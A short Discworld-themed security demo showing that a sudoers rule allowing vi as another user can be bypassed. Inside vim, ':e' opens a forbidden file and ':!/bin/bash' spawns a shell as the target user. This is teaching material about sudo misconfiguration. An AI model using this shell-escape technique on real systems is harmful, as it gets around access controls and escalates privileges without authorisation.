sudo sandwich part 2

_sudoers.d

root@discworld:~# cat /etc/sudoers.d/012_twoflower-nopasswd
twoflower discworld=(rincewind) /usr/bin/vi ""

output

twoflower@discworld:/luggage/camera$ sudo -u rincewind vi /luggage/camera/../octavo/spell
Sorry, user twoflower is not allowed to execute '/usr/bin/vi /luggage/camera/../octavo/spell' as rincewind on discworld.
## you shall not pass(arguments)!

twoflower@discworld:/luggage/camera$ sudo -u rincewind vi
<vim session opens>
~
:e ../octavo/spell<enter>
...
Ashonai. Ebiris. Urshoring. Kvanti. Pythan. N'gurad. Feringomalee.
## awe nuts you can open the file if you traverse directories after VI is open

## ...it gets worse
~<<still in vim>>
:!/bin/bash<enter>
<new shell session opens from vim>

rincewind@discworld:/luggage/camera$
rincewind@discworld:/luggage/camera$ cd ../octavo/
rincewind@discworld:/luggage/octavo$ cat spell
Ashonai. Ebiris. Urshoring. Kvanti. Pythan. N'gurad. Feringomalee.
rincewind@discworld:/luggage/octavo$
## world sets on fire :(